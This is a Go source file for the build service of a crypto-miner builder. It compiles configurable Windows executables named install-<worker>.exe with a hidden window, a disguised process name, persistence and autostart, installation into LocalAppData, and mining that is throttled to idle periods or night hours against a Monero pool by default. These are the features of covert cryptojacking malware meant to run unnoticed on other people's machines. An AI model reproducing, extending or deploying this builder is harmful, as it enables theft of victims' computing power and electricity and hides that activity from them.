Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
439 lines
12 KiB
Go
439 lines
12 KiB
Go
package builder
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"net/http"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
"time"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
"github.com/google/uuid"
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
)
|
|
|
|
type BuildRequest struct {
|
|
WorkerName string `json:"worker_name"`
|
|
ServerURL string `json:"server_url"`
|
|
Wallet string `json:"wallet"`
|
|
Threads int `json:"threads"`
|
|
ThreadMode string `json:"thread_mode"`
|
|
ThreadPercent int `json:"thread_percent"`
|
|
CPUPriority string `json:"cpu_priority"`
|
|
MiningMode string `json:"mining_mode"`
|
|
DisplayMode string `json:"display_mode"`
|
|
SilentMode bool `json:"silent_mode"`
|
|
RunAs string `json:"run_as"`
|
|
AutoStart bool `json:"auto_start"`
|
|
Persistence bool `json:"persistence"`
|
|
ProcessName string `json:"process_name"`
|
|
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
|
MaxMemoryPct int `json:"max_memory_percent"`
|
|
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
|
IdleThresholdPct int `json:"idle_threshold_pct"`
|
|
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
|
ScheduleStart string `json:"schedule_start"`
|
|
ScheduleEnd string `json:"schedule_end"`
|
|
InstallBase string `json:"install_base"`
|
|
InstallCustomBase string `json:"install_custom_base"`
|
|
InstallRelativePath string `json:"install_relative_path"`
|
|
PoolHost string `json:"pool_host"`
|
|
PoolPort int `json:"pool_port"`
|
|
PoolTLS bool `json:"pool_tls"`
|
|
PoolPass string `json:"pool_pass"`
|
|
}
|
|
|
|
type BuildResponse struct {
|
|
Success bool `json:"success"`
|
|
BuildID string `json:"build_id,omitempty"`
|
|
FileName string `json:"file_name,omitempty"`
|
|
FilePath string `json:"file_path,omitempty"`
|
|
RelativePath string `json:"relative_path,omitempty"`
|
|
FileSize int64 `json:"file_size,omitempty"`
|
|
DownloadURL string `json:"download_url,omitempty"`
|
|
Error string `json:"error,omitempty"`
|
|
}
|
|
|
|
type Handler struct {
|
|
db *db.Database
|
|
dataDir string
|
|
agentSrcDir string
|
|
projectRoot string
|
|
goBinPath string
|
|
}
|
|
|
|
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
|
|
goBin := "go"
|
|
if _, err := exec.LookPath("go"); err == nil {
|
|
goBin = "go"
|
|
}
|
|
return &Handler{
|
|
db: database,
|
|
dataDir: dataDir,
|
|
agentSrcDir: agentSrcDir,
|
|
projectRoot: projectRoot,
|
|
goBinPath: goBin,
|
|
}
|
|
}
|
|
|
|
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|
if r.Method != http.MethodPost {
|
|
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
|
return
|
|
}
|
|
|
|
var req BuildRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
|
return
|
|
}
|
|
|
|
if err := h.normalizeRequest(&req); err != nil {
|
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
|
return
|
|
}
|
|
|
|
resp, status, outputPath := h.buildAgent(&req)
|
|
if !resp.Success {
|
|
writeJSON(w, status, resp)
|
|
return
|
|
}
|
|
|
|
if r.URL.Query().Get("download") == "1" {
|
|
w.Header().Set("Content-Type", "application/octet-stream")
|
|
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
|
|
http.ServeFile(w, r, outputPath)
|
|
return
|
|
}
|
|
|
|
writeJSON(w, http.StatusOK, resp)
|
|
}
|
|
|
|
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
|
buildID := chi.URLParam(r, "id")
|
|
build, err := h.db.GetBuild(buildID)
|
|
if err != nil {
|
|
http.Error(w, "Build not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
if _, err := os.Stat(build.FilePath); err != nil {
|
|
http.Error(w, "Build file missing", http.StatusNotFound)
|
|
return
|
|
}
|
|
w.Header().Set("Content-Type", "application/octet-stream")
|
|
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
|
|
http.ServeFile(w, r, build.FilePath)
|
|
}
|
|
|
|
func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
|
|
buildID := uuid.New().String()
|
|
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
|
agentDir := filepath.Join(buildDir, "agent")
|
|
|
|
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
|
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
if err := h.copyAgentSource(agentDir); err != nil {
|
|
log.Printf("Failed to copy agent source: %v", err)
|
|
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
configDir := filepath.Join(agentDir, "config")
|
|
if err := os.MkdirAll(configDir, 0755); err != nil {
|
|
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
|
|
}
|
|
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
|
|
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
|
|
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
|
|
|
ldflags := "-s -w"
|
|
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode {
|
|
ldflags += " -H windowsgui"
|
|
}
|
|
|
|
cmd := exec.Command(h.goBinPath, "build", "-ldflags", ldflags, "-o", outputPath, ".")
|
|
cmd.Dir = agentDir
|
|
cmd.Env = append(os.Environ(),
|
|
"GOOS=windows",
|
|
"GOARCH=amd64",
|
|
"CGO_ENABLED=0",
|
|
)
|
|
|
|
output, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
log.Printf("Build failed: %v\nOutput: %s", err, string(output))
|
|
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
fileInfo, err := os.Stat(outputPath)
|
|
if err != nil {
|
|
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
|
}
|
|
|
|
absPath, _ := filepath.Abs(outputPath)
|
|
relPath, _ := filepath.Rel(h.projectRoot, absPath)
|
|
if relPath == "" || strings.HasPrefix(relPath, "..") {
|
|
relPath = filepath.Join(h.dataDir, "builds", buildID, outputName)
|
|
}
|
|
|
|
buildRecord := &models.BuildRecord{
|
|
ID: buildID,
|
|
WorkerName: req.WorkerName,
|
|
ServerURL: req.ServerURL,
|
|
Wallet: req.Wallet,
|
|
Threads: req.Threads,
|
|
FileSize: fileInfo.Size(),
|
|
FilePath: absPath,
|
|
CreatedAt: time.Now(),
|
|
PoolHost: req.PoolHost,
|
|
PoolPort: req.PoolPort,
|
|
PoolTLS: req.PoolTLS,
|
|
PoolPass: req.PoolPass,
|
|
}
|
|
if err := h.db.InsertBuild(buildRecord); err != nil {
|
|
log.Printf("Failed to record build: %v", err)
|
|
}
|
|
|
|
return BuildResponse{
|
|
Success: true,
|
|
BuildID: buildID,
|
|
FileName: outputName,
|
|
FilePath: absPath,
|
|
RelativePath: relPath,
|
|
FileSize: fileInfo.Size(),
|
|
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
|
|
}, http.StatusOK, outputPath
|
|
}
|
|
|
|
func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
|
if req.WorkerName == "" {
|
|
return fmt.Errorf("worker_name is required")
|
|
}
|
|
if req.ServerURL == "" {
|
|
return fmt.Errorf("server_url is required")
|
|
}
|
|
if req.Wallet == "" {
|
|
return fmt.Errorf("wallet is required")
|
|
}
|
|
if req.Threads <= 0 {
|
|
req.Threads = 4
|
|
}
|
|
if req.ThreadMode == "" {
|
|
req.ThreadMode = "percent"
|
|
}
|
|
if req.ThreadPercent <= 0 {
|
|
req.ThreadPercent = 75
|
|
}
|
|
if req.ThreadPercent > 100 {
|
|
req.ThreadPercent = 100
|
|
}
|
|
if req.DisplayMode == "" {
|
|
if req.SilentMode {
|
|
req.DisplayMode = "silent"
|
|
} else {
|
|
req.DisplayMode = "background"
|
|
}
|
|
}
|
|
if req.Persistence {
|
|
req.AutoStart = true
|
|
}
|
|
if req.ProcessName == "" {
|
|
req.ProcessName = sanitizeFileName(req.WorkerName)
|
|
}
|
|
if req.MaxMemoryPct <= 0 {
|
|
req.MaxMemoryPct = 70
|
|
}
|
|
if req.CPUPriority == "" {
|
|
req.CPUPriority = "below_normal"
|
|
}
|
|
if req.MiningMode == "" {
|
|
req.MiningMode = "always"
|
|
}
|
|
if req.RunAs == "" {
|
|
req.RunAs = "user"
|
|
}
|
|
if req.MaxCPUUsagePct <= 0 {
|
|
req.MaxCPUUsagePct = 80
|
|
}
|
|
if req.MinFreeRAMMB <= 0 {
|
|
req.MinFreeRAMMB = 1024
|
|
}
|
|
if req.IdleThresholdPct <= 0 {
|
|
req.IdleThresholdPct = 20
|
|
}
|
|
if req.IdleDurationMinutes <= 0 {
|
|
req.IdleDurationMinutes = 5
|
|
}
|
|
if req.ScheduleStart == "" {
|
|
req.ScheduleStart = "21:00"
|
|
}
|
|
if req.ScheduleEnd == "" {
|
|
req.ScheduleEnd = "06:00"
|
|
}
|
|
if req.InstallBase == "" {
|
|
req.InstallBase = "localappdata"
|
|
}
|
|
if req.InstallRelativePath == "" {
|
|
req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
|
|
}
|
|
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
|
|
return fmt.Errorf("install_custom_base is required when install_base is custom")
|
|
}
|
|
if req.PoolHost == "" {
|
|
req.PoolHost = "pool.supportxmr.com"
|
|
}
|
|
if req.PoolPort <= 0 {
|
|
req.PoolPort = 3333
|
|
}
|
|
if req.PoolPass == "" {
|
|
req.PoolPass = "x"
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
|
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
|
|
// Build ID: %s
|
|
// Generated at: %s
|
|
|
|
package config
|
|
|
|
import "time"
|
|
|
|
func GetBuiltinConfig() BuiltinConfig {
|
|
return BuiltinConfig{
|
|
WorkerName: %q,
|
|
ServerURL: %q,
|
|
Wallet: %q,
|
|
Threads: %d,
|
|
ThreadMode: %q,
|
|
ThreadPercent: %d,
|
|
CPUPriority: %q,
|
|
MiningMode: %q,
|
|
DisplayMode: %q,
|
|
SilentMode: %v,
|
|
RunAs: %q,
|
|
AutoStart: %v,
|
|
ProcessName: %q,
|
|
BuildID: %q,
|
|
BuiltAt: time.Unix(%d, 0),
|
|
PoolHost: %q,
|
|
PoolPort: %d,
|
|
PoolTLS: %v,
|
|
PoolPass: %q,
|
|
MaxCPUUsage: %d,
|
|
MaxMemoryPct: %d,
|
|
MinFreeRAM: %d,
|
|
IdleThresholdPct: %d,
|
|
IdleDurationMinutes: %d,
|
|
ScheduleStart: %q,
|
|
ScheduleEnd: %q,
|
|
InstallBase: %q,
|
|
InstallCustomBase: %q,
|
|
InstallRelativePath: %q,
|
|
}
|
|
}
|
|
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
|
req.WorkerName,
|
|
req.ServerURL,
|
|
req.Wallet,
|
|
req.Threads,
|
|
req.ThreadMode,
|
|
req.ThreadPercent,
|
|
req.CPUPriority,
|
|
req.MiningMode,
|
|
req.DisplayMode,
|
|
req.SilentMode,
|
|
req.RunAs,
|
|
req.AutoStart,
|
|
req.ProcessName,
|
|
buildID,
|
|
time.Now().Unix(),
|
|
req.PoolHost,
|
|
req.PoolPort,
|
|
req.PoolTLS,
|
|
req.PoolPass,
|
|
req.MaxCPUUsagePct,
|
|
req.MaxMemoryPct,
|
|
req.MinFreeRAMMB,
|
|
req.IdleThresholdPct,
|
|
req.IdleDurationMinutes,
|
|
req.ScheduleStart,
|
|
req.ScheduleEnd,
|
|
req.InstallBase,
|
|
req.InstallCustomBase,
|
|
req.InstallRelativePath,
|
|
)
|
|
}
|
|
|
|
func (h *Handler) copyAgentSource(destDir string) error {
|
|
srcDir := h.agentSrcDir
|
|
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
|
|
if err != nil {
|
|
return err
|
|
}
|
|
relPath, err := filepath.Rel(srcDir, path)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if relPath == "config"+string(os.PathSeparator)+"builtin.go" {
|
|
return nil
|
|
}
|
|
destPath := filepath.Join(destDir, relPath)
|
|
if info.IsDir() {
|
|
return os.MkdirAll(destPath, 0755)
|
|
}
|
|
if info.Mode()&os.ModeSymlink != 0 {
|
|
return nil
|
|
}
|
|
ext := filepath.Ext(path)
|
|
base := filepath.Base(path)
|
|
if ext != ".go" && base != "go.mod" && base != "go.sum" {
|
|
return nil
|
|
}
|
|
return copyFile(path, destPath)
|
|
})
|
|
}
|
|
|
|
func copyFile(src, dest string) error {
|
|
in, err := os.Open(src)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer in.Close()
|
|
if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil {
|
|
return err
|
|
}
|
|
out, err := os.Create(dest)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer out.Close()
|
|
_, err = io.Copy(out, in)
|
|
return err
|
|
}
|
|
|
|
func sanitizeFileName(name string) string {
|
|
replacer := strings.NewReplacer(
|
|
" ", "-", "/", "-", "\\", "-", ":", "-",
|
|
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
|
|
)
|
|
return replacer.Replace(name)
|
|
}
|
|
|
|
func writeJSON(w http.ResponseWriter, status int, v interface{}) {
|
|
w.Header().Set("Content-Type", "application/json")
|
|
w.WriteHeader(status)
|
|
json.NewEncoder(w).Encode(v)
|
|
}
|